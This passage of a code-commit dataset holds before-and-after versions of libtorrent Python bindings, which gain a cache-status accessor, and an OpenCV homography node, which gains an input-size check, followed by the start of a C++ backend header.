&session_status::dht_node_cache)\n        .def_readonly(\"dht_torrents\", &session_status::dht_torrents)\n        .def_readonly(\"dht_global_nodes\", &session_status::dht_global_nodes)\n        .def_readonly(\"active_requests\", &session_status::active_requests)\n#endif\n        ;\n\n    class_<dht_lookup>(\"dht_lookup\")\n        .def_readonly(\"type\", &dht_lookup::type)\n        .def_readonly(\"outstanding_requests\", &dht_lookup::outstanding_requests)\n        .def_readonly(\"timeouts\", &dht_lookup::timeouts)\n        .def_readonly(\"response\", &dht_lookup::responses)\n        .def_readonly(\"branch_factor\", &dht_lookup::branch_factor)\n    ;\n        \n    enum_<storage_mode_t>(\"storage_mode_t\")\n        .value(\"storage_mode_allocate\", storage_mode_allocate)\n        .value(\"storage_mode_sparse\", storage_mode_sparse)\n        .value(\"storage_mode_compact\", storage_mode_compact)\n    ;\n\n    enum_<session::options_t>(\"options_t\")\n        .value(\"none\", session::none)\n        .value(\"delete_files\", session::delete_files)\n    ;\n\n    enum_<session::session_flags_t>(\"session_flags_t\")\n        .value(\"add_default_plugins\", session::add_default_plugins)\n        .value(\"start_default_features\", session::start_default_features)\n    ;\n\n    class_<session, boost::noncopyable>(\"session\", no_init)\n        .def(\n            init<fingerprint, int>((\n                arg(\"fingerprint\")=fingerprint(\"LT\",0,1,0,0)\n                , arg(\"flags\")=session::start_default_features | session::add_default_plugins))\n        )\n        .def(\n            \"listen_on\", &listen_on\n          , (arg(\"min\"), \"max\", arg(\"interface\") = (char const*)0)\n        )\n        .def(\"outgoing_ports\", &outgoing_ports)\n        .def(\"is_listening\", allow_threads(&session::is_listening))\n        .def(\"listen_port\", allow_threads(&session::listen_port))\n        .def(\"status\", allow_threads(&session::status))\n#ifndef TORRENT_DISABLE_DHT\n        .def(\n            \"add_dht_router\", &add_dht_router\n          , (arg(\"router\"), \"port\")\n        )\n        .def(\"start_dht\", allow_threads(&session::start_dht))\n        .def(\"stop_dht\", allow_threads(&session::stop_dht))\n        .def(\"dht_state\", allow_threads(&session::dht_state))\n        .def(\"set_dht_proxy\", allow_threads(&session::set_dht_proxy))\n        .def(\"dht_proxy\", allow_threads(&session::dht_proxy), return_value_policy<copy_const_reference>())\n#endif\n        .def(\"add_torrent\", &add_torrent)\n#ifndef TORRENT_NO_DEPRECATE\n        .def(\n            \"add_torrent\", &add_torrent_depr\n          , (\n                arg(\"resume_data\") = entry(),\n\t\t\t\t\t arg(\"storage_mode\") = storage_mode_sparse,\n                arg(\"paused\") = false\n            )\n        )\n#endif\n        .def(\"remove_torrent\", allow_threads(&session::remove_torrent), arg(\"option\") = session::none\n)\n        .def(\"set_local_download_rate_limit\", allow_threads(&session::set_local_download_rate_limit))\n        .def(\"local_download_rate_limit\", allow_threads(&session::local_download_rate_limit))\n\n        .def(\"set_local_upload_rate_limit\", allow_threads(&session::set_local_upload_rate_limit))\n        .def(\"local_upload_rate_limit\", allow_threads(&session::local_upload_rate_limit))\n\n        .def(\"set_download_rate_limit\", allow_threads(&session::set_download_rate_limit))\n        .def(\"download_rate_limit\", allow_threads(&session::download_rate_limit))\n\n        .def(\"set_upload_rate_limit\", allow_threads(&session::set_upload_rate_limit))\n        .def(\"upload_rate_limit\", allow_threads(&session::upload_rate_limit))\n\n        .def(\"set_max_uploads\", allow_threads(&session::set_max_uploads))\n        .def(\"set_max_connections\", allow_threads(&session::set_max_connections))\n        .def(\"set_max_half_open_connections\", allow_threads(&session::set_max_half_open_connections))\n        .def(\"num_connections\", allow_threads(&session::num_connections))\n        .def(\"set_settings\", allow_threads(&session::set_settings))\n        .def(\"settings\", allow_threads(&session::settings), return_value_policy<copy_const_reference>())\n#ifndef TORRENT_DISABLE_ENCRYPTION\n        .def(\"set_pe_settings\", allow_threads(&session::set_pe_settings))\n        .def(\"get_pe_settings\", allow_threads(&session::get_pe_settings), return_value_policy<copy_const_reference>())\n#endif\n#ifndef TORRENT_DISABLE_GEO_IP\n        .def(\"load_asnum_db\", &load_asnum_db)\n        .def(\"load_country_db\", &load_country_db)\n#endif\n        .def(\"load_state\", allow_threads(&session::load_state))\n        .def(\"state\", allow_threads(&session::state))\n#ifndef TORRENT_NO_DEPRECATE\n        .def(\"set_severity_level\", allow_threads(&session::set_severity_level))\n#endif\n        .def(\"set_alert_mask\", allow_threads(&session::set_alert_mask))\n        .def(\"pop_alert\", allow_threads(&session::pop_alert))\n        .def(\"add_extension\", &add_extension)\n        .def(\"set_peer_proxy\", allow_threads(&session::set_peer_proxy))\n        .def(\"set_tracker_proxy\", allow_threads(&session::set_tracker_proxy))\n        .def(\"set_web_seed_proxy\", allow_threads(&session::set_web_seed_proxy))\n        .def(\"peer_proxy\", allow_threads(&session::peer_proxy), return_value_policy<copy_const_reference>())\n        .def(\"tracker_proxy\", allow_threads(&session::tracker_proxy), return_value_policy<copy_const_reference>())\n        .def(\"web_seed_proxy\", allow_threads(&session::web_seed_proxy), return_value_policy<copy_const_reference>())\n        .def(\"start_upnp\", &start_upnp)\n        .def(\"stop_upnp\", allow_threads(&session::stop_upnp))\n        .def(\"start_lsd\", allow_threads(&session::start_lsd))\n        .def(\"stop_lsd\", allow_threads(&session::stop_lsd))\n        .def(\"start_natpmp\", &start_natpmp)\n        .def(\"stop_natpmp\", allow_threads(&session::stop_natpmp))\n        .def(\"set_ip_filter\", allow_threads(&session::set_ip_filter))\n        .def(\"find_torrent\", allow_threads(&session::find_torrent))\n        .def(\"get_torrents\", &get_torrents)\n        .def(\"pause\", allow_threads(&session::pause))\n        .def(\"resume\", allow_threads(&session::resume))\n        .def(\"is_paused\", allow_threads(&session::is_paused))\n        .def(\"id\", allow_threads(&session::id))\n        ;\n\n    register_ptr_to_python<std::auto_ptr<alert> >();\n}\n<commit_msg>Add session.get_cache_status() to the python bindings<commit_after>\/\/ Copyright Daniel Wallin, Arvid Norberg 2006. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <boost\/python.hpp>\n#include <libtorrent\/session.hpp>\n#include <libtorrent\/torrent.hpp>\n#include <libtorrent\/storage.hpp>\n#include <libtorrent\/ip_filter.hpp>\n#include <libtorrent\/disk_io_thread.hpp>\n#include \"gil.hpp\"\n\nusing namespace boost::python;\nusing namespace libtorrent;\n\nnamespace\n{\n    bool listen_on(session& s, int min_, int max_, char const* interface)\n    {\n        allow_threading_guard guard;\n        return s.listen_on(std::make_pair(min_, max_), interface);\n    }\n\n    void outgoing_ports(session& s, int _min, int _max)\n    {\n        allow_threading_guard guard;\n        session_settings settings = s.settings();\n        settings.outgoing_ports = std::make_pair(_min, _max);\n        s.set_settings(settings);\n        return;\n    }\n#ifndef TORRENT_DISABLE_DHT\n    void add_dht_router(session& s, std::string router_, int port_)\n    {\n        allow_threading_guard guard;\n        return s.add_dht_router(std::make_pair(router_, port_));\n    }\n#endif\n\n    struct invoke_extension_factory\n    {\n        invoke_extension_factory(object const& callback)\n            : cb(callback)\n        {}\n\n        boost::shared_ptr<torrent_plugin> operator()(torrent* t, void*)\n        {\n           lock_gil lock;\n           return extract<boost::shared_ptr<torrent_plugin> >(cb(ptr(t)))();\n        }\n\n        object cb;\n    };\n\n    void add_extension(session& s, object const& e)\n    {\n        allow_threading_guard guard;\n        s.add_extension(invoke_extension_factory(e));\n    }\n\n#ifndef TORRENT_NO_DEPRECATE\n    torrent_handle add_torrent_depr(session& s, torrent_info const& ti\n        , boost::filesystem::path const& save, entry const& resume\n        , storage_mode_t storage_mode, bool paused)\n    {\n        allow_threading_guard guard;\n        return s.add_torrent(ti, save, resume, storage_mode, paused, default_storage_constructor);\n    }\n#endif\n\n    torrent_handle add_torrent(session& s, dict params)\n    {\n        add_torrent_params p;\n\n        if (params.has_key(\"ti\"))\n            p.ti = new torrent_info(extract<torrent_info const&>(params[\"ti\"]));\n\n        std::string url;\n        if (params.has_key(\"tracker_url\"))\n        {\n            url = extract<std::string>(params[\"tracker_url\"]);\n            p.tracker_url = url.c_str();\n        }\n        if (params.has_key(\"info_hash\"))\n            p.info_hash = extract<sha1_hash>(params[\"info_hash\"]);\n        std::string name;\n        if (params.has_key(\"name\"))\n        {\n            name = extract<std::string>(params[\"name\"]);\n            p.name = name.c_str();\n        }\n        p.save_path = fs::path(extract<std::string>(params[\"save_path\"]));\n\n        std::vector<char> resume_buf;\n        if (params.has_key(\"resume_data\"))\n        {\n            std::string resume = extract<std::string>(params[\"resume_data\"]);\n            resume_buf.resize(resume.size());\n            std::memcpy(&resume_buf[0], &resume[0], resume.size());\n            p.resume_data = &resume_buf;\n        }\n        if (params.has_key(\"storage_mode\"))\n            p.storage_mode = extract<storage_mode_t>(params[\"storage_mode\"]);\n        if (params.has_key(\"paused\"))\n            p.paused = params[\"paused\"];\n        if (params.has_key(\"auto_managed\"))\n            p.auto_managed = params[\"auto_managed\"];\n        if (params.has_key(\"duplicate_is_error\"))\n            p.duplicate_is_error = params[\"duplicate_is_error\"];\n        if (params.has_key(\"seed_mode\"))\n            p.seed_mode = params[\"seed_mode\"];\n        if (params.has_key(\"override_resume_data\"))\n            p.override_resume_data = params[\"override_resume_data\"];\n\n        return s.add_torrent(p);\n    }\n\n    void start_natpmp(session& s)\n    {\n        allow_threading_guard guard;\n        s.start_natpmp();\n        return;\n    }\n\n    void start_upnp(session& s)\n    {\n        allow_threading_guard guard;\n        s.start_upnp();\n        return;\n    }\n\n    list get_torrents(session& s)\n    {\n        list ret;\n        std::vector<torrent_handle> torrents = s.get_torrents();\n\n        for (std::vector<torrent_handle>::iterator i = torrents.begin(); i != torrents.end(); ++i)\n        {\n            ret.append(*i);\n        }\n        return ret;\n    }\n\n#ifndef TORRENT_DISABLE_GEO_IP\n    bool load_asnum_db(session& s, std::string file)\n    {\n        allow_threading_guard guard;\n        return s.load_asnum_db(file.c_str());\n    }\n\n    bool load_country_db(session& s, std::string file)\n    {\n        allow_threading_guard guard;\n        return s.load_country_db(file.c_str());\n    }\n#endif\n} \/\/ namespace unnamed\n\n\nvoid bind_session()\n{\n    class_<session_status>(\"session_status\")\n        .def_readonly(\"has_incoming_connections\", &session_status::has_incoming_connections)\n\n        .def_readonly(\"upload_rate\", &session_status::upload_rate)\n        .def_readonly(\"download_rate\", &session_status::download_rate)\n        .def_readonly(\"total_download\", &session_status::total_download)\n        .def_readonly(\"total_upload\", &session_status::total_upload)\n\n        .def_readonly(\"payload_upload_rate\", &session_status::payload_upload_rate)\n        .def_readonly(\"payload_download_rate\", &session_status::payload_download_rate)\n        .def_readonly(\"total_payload_download\", &session_status::total_payload_download)\n        .def_readonly(\"total_payload_upload\", &session_status::total_payload_upload)\n\n        .def_readonly(\"ip_overhead_upload_rate\", &session_status::ip_overhead_upload_rate)\n        .def_readonly(\"ip_overhead_download_rate\", &session_status::ip_overhead_download_rate)\n        .def_readonly(\"total_ip_overhead_download\", &session_status::total_ip_overhead_download)\n        .def_readonly(\"total_ip_overhead_upload\", &session_status::total_ip_overhead_upload)\n\n        .def_readonly(\"dht_upload_rate\", &session_status::dht_upload_rate)\n        .def_readonly(\"dht_download_rate\", &session_status::dht_download_rate)\n        .def_readonly(\"total_dht_download\", &session_status::total_dht_download)\n        .def_readonly(\"total_dht_upload\", &session_status::total_dht_upload)\n\n        .def_readonly(\"tracker_upload_rate\", &session_status::tracker_upload_rate)\n        .def_readonly(\"tracker_download_rate\", &session_status::tracker_download_rate)\n        .def_readonly(\"total_tracker_download\", &session_status::total_tracker_download)\n        .def_readonly(\"total_tracker_upload\", &session_status::total_tracker_upload)\n\n        .def_readonly(\"total_redundant_bytes\", &session_status::total_redundant_bytes)\n        .def_readonly(\"total_failed_bytes\", &session_status::total_failed_bytes)\n\n        .def_readonly(\"num_peers\", &session_status::num_peers)\n        .def_readonly(\"num_unchoked\", &session_status::num_unchoked)\n        .def_readonly(\"allowed_upload_slots\", &session_status::allowed_upload_slots)\n\n        .def_readonly(\"up_bandwidth_queue\", &session_status::up_bandwidth_queue)\n        .def_readonly(\"down_bandwidth_queue\", &session_status::down_bandwidth_queue)\n\n        .def_readonly(\"up_bandwidth_bytes_queue\", &session_status::up_bandwidth_bytes_queue)\n        .def_readonly(\"down_bandwidth_bytes_queue\", &session_status::down_bandwidth_bytes_queue)\n\n        .def_readonly(\"optimistic_unchoke_counter\", &session_status::optimistic_unchoke_counter)\n        .def_readonly(\"unchoke_counter\", &session_status::unchoke_counter)\n\n#ifndef TORRENT_DISABLE_DHT\n        .def_readonly(\"dht_nodes\", &session_status::dht_nodes)\n        .def_readonly(\"dht_cache_nodes\", &session_status::dht_node_cache)\n        .def_readonly(\"dht_torrents\", &session_status::dht_torrents)\n        .def_readonly(\"dht_global_nodes\", &session_status::dht_global_nodes)\n        .def_readonly(\"active_requests\", &session_status::active_requests)\n#endif\n        ;\n\n    class_<dht_lookup>(\"dht_lookup\")\n        .def_readonly(\"type\", &dht_lookup::type)\n        .def_readonly(\"outstanding_requests\", &dht_lookup::outstanding_requests)\n        .def_readonly(\"timeouts\", &dht_lookup::timeouts)\n        .def_readonly(\"response\", &dht_lookup::responses)\n        .def_readonly(\"branch_factor\", &dht_lookup::branch_factor)\n    ;\n\n    enum_<storage_mode_t>(\"storage_mode_t\")\n        .value(\"storage_mode_allocate\", storage_mode_allocate)\n        .value(\"storage_mode_sparse\", storage_mode_sparse)\n        .value(\"storage_mode_compact\", storage_mode_compact)\n    ;\n\n    enum_<session::options_t>(\"options_t\")\n        .value(\"none\", session::none)\n        .value(\"delete_files\", session::delete_files)\n    ;\n\n    enum_<session::session_flags_t>(\"session_flags_t\")\n        .value(\"add_default_plugins\", session::add_default_plugins)\n        .value(\"start_default_features\", session::start_default_features)\n    ;\n\n    class_<cache_status>(\"cache_status\")\n        .def_readonly(\"blocks_written\", &cache_status::blocks_written)\n        .def_readonly(\"writes\", &cache_status::writes)\n        .def_readonly(\"blocks_read\", &cache_status::blocks_read)\n        .def_readonly(\"blocks_read_hit\", &cache_status::blocks_read_hit)\n        .def_readonly(\"reads\", &cache_status::reads)\n        .def_readonly(\"cache_size\", &cache_status::cache_size)\n        .def_readonly(\"read_cache_size\", &cache_status::read_cache_size)\n        .def_readonly(\"total_used_buffers\", &cache_status::total_used_buffers)\n    ;\n\n    class_<session, boost::noncopyable>(\"session\", no_init)\n        .def(\n            init<fingerprint, int>((\n                arg(\"fingerprint\")=fingerprint(\"LT\",0,1,0,0)\n                , arg(\"flags\")=session::start_default_features | session::add_default_plugins))\n        )\n        .def(\n            \"listen_on\", &listen_on\n          , (arg(\"min\"), \"max\", arg(\"interface\") = (char const*)0)\n        )\n        .def(\"outgoing_ports\", &outgoing_ports)\n        .def(\"is_listening\", allow_threads(&session::is_listening))\n        .def(\"listen_port\", allow_threads(&session::listen_port))\n        .def(\"status\", allow_threads(&session::status))\n#ifndef TORRENT_DISABLE_DHT\n        .def(\n            \"add_dht_router\", &add_dht_router\n          , (arg(\"router\"), \"port\")\n        )\n        .def(\"start_dht\", allow_threads(&session::start_dht))\n        .def(\"stop_dht\", allow_threads(&session::stop_dht))\n        .def(\"dht_state\", allow_threads(&session::dht_state))\n        .def(\"set_dht_proxy\", allow_threads(&session::set_dht_proxy))\n        .def(\"dht_proxy\", allow_threads(&session::dht_proxy), return_value_policy<copy_const_reference>())\n#endif\n        .def(\"add_torrent\", &add_torrent)\n#ifndef TORRENT_NO_DEPRECATE\n        .def(\n            \"add_torrent\", &add_torrent_depr\n          , (\n                arg(\"resume_data\") = entry(),\n\t\t\t\t\t arg(\"storage_mode\") = storage_mode_sparse,\n                arg(\"paused\") = false\n            )\n        )\n#endif\n        .def(\"remove_torrent\", allow_threads(&session::remove_torrent), arg(\"option\") = session::none\n)\n        .def(\"set_local_download_rate_limit\", allow_threads(&session::set_local_download_rate_limit))\n        .def(\"local_download_rate_limit\", allow_threads(&session::local_download_rate_limit))\n\n        .def(\"set_local_upload_rate_limit\", allow_threads(&session::set_local_upload_rate_limit))\n        .def(\"local_upload_rate_limit\", allow_threads(&session::local_upload_rate_limit))\n\n        .def(\"set_download_rate_limit\", allow_threads(&session::set_download_rate_limit))\n        .def(\"download_rate_limit\", allow_threads(&session::download_rate_limit))\n\n        .def(\"set_upload_rate_limit\", allow_threads(&session::set_upload_rate_limit))\n        .def(\"upload_rate_limit\", allow_threads(&session::upload_rate_limit))\n\n        .def(\"set_max_uploads\", allow_threads(&session::set_max_uploads))\n        .def(\"set_max_connections\", allow_threads(&session::set_max_connections))\n        .def(\"set_max_half_open_connections\", allow_threads(&session::set_max_half_open_connections))\n        .def(\"num_connections\", allow_threads(&session::num_connections))\n        .def(\"set_settings\", allow_threads(&session::set_settings))\n        .def(\"settings\", allow_threads(&session::settings), return_value_policy<copy_const_reference>())\n#ifndef TORRENT_DISABLE_ENCRYPTION\n        .def(\"set_pe_settings\", allow_threads(&session::set_pe_settings))\n        .def(\"get_pe_settings\", allow_threads(&session::get_pe_settings), return_value_policy<copy_const_reference>())\n#endif\n#ifndef TORRENT_DISABLE_GEO_IP\n        .def(\"load_asnum_db\", &load_asnum_db)\n        .def(\"load_country_db\", &load_country_db)\n#endif\n        .def(\"load_state\", allow_threads(&session::load_state))\n        .def(\"state\", allow_threads(&session::state))\n#ifndef TORRENT_NO_DEPRECATE\n        .def(\"set_severity_level\", allow_threads(&session::set_severity_level))\n#endif\n        .def(\"set_alert_mask\", allow_threads(&session::set_alert_mask))\n        .def(\"pop_alert\", allow_threads(&session::pop_alert))\n        .def(\"add_extension\", &add_extension)\n        .def(\"set_peer_proxy\", allow_threads(&session::set_peer_proxy))\n        .def(\"set_tracker_proxy\", allow_threads(&session::set_tracker_proxy))\n        .def(\"set_web_seed_proxy\", allow_threads(&session::set_web_seed_proxy))\n        .def(\"peer_proxy\", allow_threads(&session::peer_proxy), return_value_policy<copy_const_reference>())\n        .def(\"tracker_proxy\", allow_threads(&session::tracker_proxy), return_value_policy<copy_const_reference>())\n        .def(\"web_seed_proxy\", allow_threads(&session::web_seed_proxy), return_value_policy<copy_const_reference>())\n        .def(\"start_upnp\", &start_upnp)\n        .def(\"stop_upnp\", allow_threads(&session::stop_upnp))\n        .def(\"start_lsd\", allow_threads(&session::start_lsd))\n        .def(\"stop_lsd\", allow_threads(&session::stop_lsd))\n        .def(\"start_natpmp\", &start_natpmp)\n        .def(\"stop_natpmp\", allow_threads(&session::stop_natpmp))\n        .def(\"set_ip_filter\", allow_threads(&session::set_ip_filter))\n        .def(\"find_torrent\", allow_threads(&session::find_torrent))\n        .def(\"get_torrents\", &get_torrents)\n        .def(\"pause\", allow_threads(&session::pause))\n        .def(\"resume\", allow_threads(&session::resume))\n        .def(\"is_paused\", allow_threads(&session::is_paused))\n        .def(\"id\", allow_threads(&session::id))\n        .def(\"get_cache_status\", allow_threads(&session::get_cache_status))\n        ;\n\n    register_ptr_to_python<std::auto_ptr<alert> >();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"NodeType.h\"\n#include \"NodeFactory.h\"\n\n#include <opencv2\/calib3d\/calib3d.hpp>\n\nclass EstimateHomographyNodeType : public NodeType\n{\npublic:\n\tEstimateHomographyNodeType()\n\t\t: _reprojThreshold(3.0)\n\t{\n\t}\n\n\tbool setProperty(PropertyID propId, const QVariant& newValue) override\n\t{\n\t\tswitch(propId)\n\t\t{\n\t\tcase ID_ReprojThreshold:\n\t\t\t_reprojThreshold = newValue.toDouble();\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tQVariant property(PropertyID propId) const override\n\t{\n\t\tswitch(propId)\n\t\t{\n\t\tcase ID_ReprojThreshold: return _reprojThreshold;\n\t\t}\n\n\t\treturn QVariant();\n\t}\n\n\tExecutionStatus execute(NodeSocketReader& reader, NodeSocketWriter& writer) override\n\t{\n\t\t\/\/ inputs\n\t\tconst Matches& mt = reader.readSocket(0).getMatches();\n\t\t\/\/ outputs\n\t\tcv::Mat& H = writer.acquireSocket(0).getArray();\n\t\tMatches& outMt = writer.acquireSocket(1).getMatches();\n\n\t\t\/\/ validate inputs\n\t\tif(mt.queryPoints.empty() || mt.trainPoints.empty()\n\t\t|| mt.queryImage.empty() || mt.trainImage.empty())\n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\n\t\tif(mt.queryPoints.size() != mt.trainPoints.size())\n\t\t\treturn ExecutionStatus(EStatus::Error, \n\t\t\t\t\"Points from one images doesn't correspond to key points in another one\");\n\n\t\toutMt.queryImage = mt.queryImage;\n\t\toutMt.trainImage = mt.trainImage;\n\t\toutMt.queryPoints.clear();\n\t\toutMt.trainPoints.clear();\n\t\tsize_t kpSize = mt.queryPoints.size();\n\n\t\tvector<uchar> inliersMask;\n\t\tcv::Mat homography = cv::findHomography(mt.queryPoints, mt.trainPoints, \n\t\t\tCV_RANSAC, _reprojThreshold, inliersMask);\n\t\tint inliersCount = (int) std::count(begin(inliersMask), end(inliersMask), 1);\n\t\tif(inliersCount < 4)\n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\n\t\tvector<cv::Point2f> queryPoints(inliersCount), trainPoints(inliersCount);\n\n\t\t\/\/ Create vector of inliers only\n\t\tfor(size_t inlier = 0, idx = 0; inlier < kpSize; ++inlier)\n\t\t{\n\t\t\tif(inliersMask[inlier] == 0)\n\t\t\t\tcontinue;\n\n\t\t\tqueryPoints[idx] = mt.queryPoints[inlier];\n\t\t\ttrainPoints[idx] = mt.trainPoints[inlier];\n\t\t\t++idx;\n\t\t}\n\n\t\t\/\/ Use only good points to find refined homography\n\t\tH = cv::findHomography(queryPoints, trainPoints,\n\t\t\tCV_LMEDS, _reprojThreshold);\n\n\t\t\/\/ Reproject again\n\t\tvector<cv::Point2f> srcReprojected;\n\t\tcv::perspectiveTransform(trainPoints, srcReprojected, H.inv());\n\t\tkpSize = queryPoints.size();\n\n\t\tfor (size_t i = 0; i < kpSize; i++)\n\t\t{\n\t\t\tcv::Point2f actual = queryPoints[i];\n\t\t\tcv::Point2f expect = srcReprojected[i];\n\t\t\tcv::Point2f v = actual - expect;\n\t\t\tfloat distanceSquared = v.dot(v);\n\n\t\t\tif (distanceSquared <= _reprojThreshold * _reprojThreshold)\n\t\t\t{\n\t\t\t\toutMt.queryPoints.emplace_back(queryPoints[i]);\n\t\t\t\toutMt.trainPoints.emplace_back(trainPoints[i]);\n\t\t\t}\n\t\t}\n\n\t\treturn ExecutionStatus(EStatus::Ok);\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tstatic const InputSocketConfig in_config[] = {\n\t\t\t{ ENodeFlowDataType::Matches, \"matches\", \"Matches\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const OutputSocketConfig out_config[] = {\n\t\t\t{ ENodeFlowDataType::Array, \"output\", \"Homography\", \"\" },\n\t\t\t{ ENodeFlowDataType::Matches, \"inliers\", \"Inliers\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const PropertyConfig prop_config[] = {\n\t\t\t{ EPropertyType::Integer, \"Reprojection error threshold\", \"min:1.0, max:50.0\" },\n\t\t\t{ EPropertyType::Unknown, \"\", \"\" }\n\t\t};\n\n\t\tnodeConfig.description = \"\";\n\t\tnodeConfig.pInputSockets = in_config;\n\t\tnodeConfig.pOutputSockets = out_config;\n\t\tnodeConfig.pProperties = prop_config;\n\t}\n\nprivate:\n\tenum EPropertyID\n\t{\n\t\tID_ReprojThreshold\n\t};\n\n\tdouble _reprojThreshold;\n};\n\nREGISTER_NODE(\"Features\/Estimate homography\", EstimateHomographyNodeType)<commit_msg>validate homography input (number of points for estimation)<commit_after>#include \"NodeType.h\"\n#include \"NodeFactory.h\"\n\n#include <opencv2\/calib3d\/calib3d.hpp>\n\nclass EstimateHomographyNodeType : public NodeType\n{\npublic:\n\tEstimateHomographyNodeType()\n\t\t: _reprojThreshold(3.0)\n\t{\n\t}\n\n\tbool setProperty(PropertyID propId, const QVariant& newValue) override\n\t{\n\t\tswitch(propId)\n\t\t{\n\t\tcase ID_ReprojThreshold:\n\t\t\t_reprojThreshold = newValue.toDouble();\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tQVariant property(PropertyID propId) const override\n\t{\n\t\tswitch(propId)\n\t\t{\n\t\tcase ID_ReprojThreshold: return _reprojThreshold;\n\t\t}\n\n\t\treturn QVariant();\n\t}\n\n\tExecutionStatus execute(NodeSocketReader& reader, NodeSocketWriter& writer) override\n\t{\n\t\t\/\/ inputs\n\t\tconst Matches& mt = reader.readSocket(0).getMatches();\n\t\t\/\/ outputs\n\t\tcv::Mat& H = writer.acquireSocket(0).getArray();\n\t\tMatches& outMt = writer.acquireSocket(1).getMatches();\n\n\t\t\/\/ validate inputs\n\t\tif(mt.queryPoints.empty() || mt.trainPoints.empty()\n\t\t|| mt.queryImage.empty() || mt.trainImage.empty())\n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\n\t\tif(mt.queryPoints.size() != mt.trainPoints.size())\n\t\t\treturn ExecutionStatus(EStatus::Error, \n\t\t\t\t\"Points from one images doesn't correspond to key points in another one\");\n\n\t\tif(mt.queryPoints.size() < 4)\n\t\t\treturn ExecutionStatus(EStatus::Error, \n\t\t\t\t\"Homography estimation with less than 4 matched points doesn't work\");\n\n\t\toutMt.queryImage = mt.queryImage;\n\t\toutMt.trainImage = mt.trainImage;\n\t\toutMt.queryPoints.clear();\n\t\toutMt.trainPoints.clear();\n\t\tsize_t kpSize = mt.queryPoints.size();\n\n\t\tvector<uchar> inliersMask;\n\t\tcv::Mat homography = cv::findHomography(mt.queryPoints, mt.trainPoints, \n\t\t\tCV_RANSAC, _reprojThreshold, inliersMask);\n\t\tint inliersCount = (int) std::count(begin(inliersMask), end(inliersMask), 1);\n\t\tif(inliersCount < 4)\n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\n\t\tvector<cv::Point2f> queryPoints(inliersCount), trainPoints(inliersCount);\n\n\t\t\/\/ Create vector of inliers only\n\t\tfor(size_t inlier = 0, idx = 0; inlier < kpSize; ++inlier)\n\t\t{\n\t\t\tif(inliersMask[inlier] == 0)\n\t\t\t\tcontinue;\n\n\t\t\tqueryPoints[idx] = mt.queryPoints[inlier];\n\t\t\ttrainPoints[idx] = mt.trainPoints[inlier];\n\t\t\t++idx;\n\t\t}\n\n\t\t\/\/ Use only good points to find refined homography\n\t\tH = cv::findHomography(queryPoints, trainPoints,\n\t\t\tCV_LMEDS, _reprojThreshold);\n\n\t\t\/\/ Reproject again\n\t\tvector<cv::Point2f> srcReprojected;\n\t\tcv::perspectiveTransform(trainPoints, srcReprojected, H.inv());\n\t\tkpSize = queryPoints.size();\n\n\t\tfor (size_t i = 0; i < kpSize; i++)\n\t\t{\n\t\t\tcv::Point2f actual = queryPoints[i];\n\t\t\tcv::Point2f expect = srcReprojected[i];\n\t\t\tcv::Point2f v = actual - expect;\n\t\t\tfloat distanceSquared = v.dot(v);\n\n\t\t\tif (distanceSquared <= _reprojThreshold * _reprojThreshold)\n\t\t\t{\n\t\t\t\toutMt.queryPoints.emplace_back(queryPoints[i]);\n\t\t\t\toutMt.trainPoints.emplace_back(trainPoints[i]);\n\t\t\t}\n\t\t}\n\n\t\treturn ExecutionStatus(EStatus::Ok);\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tstatic const InputSocketConfig in_config[] = {\n\t\t\t{ ENodeFlowDataType::Matches, \"matches\", \"Matches\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const OutputSocketConfig out_config[] = {\n\t\t\t{ ENodeFlowDataType::Array, \"output\", \"Homography\", \"\" },\n\t\t\t{ ENodeFlowDataType::Matches, \"inliers\", \"Inliers\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const PropertyConfig prop_config[] = {\n\t\t\t{ EPropertyType::Integer, \"Reprojection error threshold\", \"min:1.0, max:50.0\" },\n\t\t\t{ EPropertyType::Unknown, \"\", \"\" }\n\t\t};\n\n\t\tnodeConfig.description = \"\";\n\t\tnodeConfig.pInputSockets = in_config;\n\t\tnodeConfig.pOutputSockets = out_config;\n\t\tnodeConfig.pProperties = prop_config;\n\t}\n\nprivate:\n\tenum EPropertyID\n\t{\n\t\tID_ReprojThreshold\n\t};\n\n\tdouble _reprojThreshold;\n};\n\nREGISTER_NODE(\"Features\/Estimate homography\", EstimateHomographyNodeType)<|endoftext|>"}
{"text":"<commit_before>#ifndef __BH_VE_CPU_BACKENDS\n#define __BH_VE_CPU_BACKENDS\n\n#include <iostream>\n#include <cstring>\n#include <cstdarg>\n#include <cstdlib>\n#include <cstdio>\n#include <string>\n#include <cstring>\n#include <stdexcept>\n#include <vector>\n#include <unordered_map>\n#include \"dirent.h\"\n#include <dlfcn.h>\n#include <unistd.h>\n#include \"utils.cpp\"\n#include <fcntl.h>\n\n\/\/ Create nice error-messages...\nint error(int errnum, const char *fmt, ...) {\n    va_list va;\n    int ret;\n\n    char err_msg[500];\n    sprintf(err_msg, \"Error[%d, %s] from: %s\", errnum, strerror(errnum), fmt);\n    va_start(va, fmt);\n    ret = vfprintf(stderr, err_msg, va);\n    va_end(va);\n    return ret;\n}\n\nint error(const char *err_msg, const char *fmt, ...) {\n    va_list va;\n    int ret;\n\n    char err_txt[500];\n    sprintf(err_txt, \"Error[%s] from: %s\", err_msg, fmt);\n    va_start(va, fmt);\n    ret = vfprintf(stderr, err_txt, va);\n    va_end(va);\n    return ret;\n}\n\ntypedef void (*func)(int tool, ...);\n\/\/typedef 